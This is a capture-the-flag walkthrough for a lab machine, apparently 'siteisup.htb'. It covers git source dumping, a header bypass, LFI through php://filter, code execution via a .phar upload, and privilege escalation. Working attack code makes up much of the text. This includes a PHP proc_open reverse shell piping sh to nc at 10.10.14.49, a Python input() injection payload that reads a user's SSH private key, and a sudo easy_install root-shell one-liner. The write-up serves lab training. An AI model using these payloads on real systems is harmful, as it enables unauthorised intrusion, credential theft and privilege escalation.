
TL;DR
NETWORK


SCAN

ENUMERATION
Siteisup.htb


Quick test:


We have found a .git folder

Code review
wget -r http://siteisup.htb/dev/.git




Looks like we need to use a required header : Special-Dev “only4dev”

A firewall is in place to protect the lfi

60d2b32 354fe06



Dev.siteisup.htb
Headers modification
The dev site is inaccessible for us as we need to use a specific header “Special-Dev: only4dev” as seen in the code review

Let’s add the header automatically for all the requests

Now we have a full access to the dev site

Local File Inclusion (LFI)


Looking at the code we see a basic attempt to stop LFI using preg_match()

preg_match() can be bypassed if the variable is an array like described here https://bugs.php.net/bug.php?id=69274 in our case, using this method will feed an array to the include() function which will make the inclusion fail.
Instead, we can use “php://filter” to get the php files on the server
php://filter/convert.base64-encode/resource=index

Exploit upload
Looking into the upload, we can iterate through the extension

we can see the invalid extensions in the code

let’s use a list which


We have found a list of potential extensions with one promising one phar

using the following payload, with 1) being our our PHP code and a list of urls to be called by the code

The uploads are removed by the code when the list has been fully processed - netcat listeners slow the curl connections and give us enough time to check the uploads.

Here is our payload activated proving that we can run PHP on the server using the phar extension

FOOTHOLD
Reverse shell
Unfortunately many of the classic PHP execution functions are disabled. Looking into the disabled functions we can see most of them being disabled

but luckily, we are allowed to use proc_open , as seen on https://www.php.net/manual/en/function.proc-open.php

<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$process = proc_open('sh', $descriptorspec, $pipes, null, null);
if (is_resource($process)) {
fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.49 1234 >/tmp/f');
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
and we get a reverse shell on the server as www-data

PRIV ESCALATION
Python command injection
looking into the SUIDs, we have found an interesting program
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null



Somehow localhost is being user

Looking into the script loaded we can see there is not much sanitisation going on and the script is using input()

According to this article https://www.stackhawk.com/blog/command-injection-python/
in Python < 3 , the input() function is equivalent to eval(raw_input)

using the following payload, we get user developer private key
__import__('os').system('cat /home/developer/.ssh/id_rsa')

SSH as Developer

Root session with easy_install


Looking into GTFobins for easy_install we have found some interesting candidates:
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF
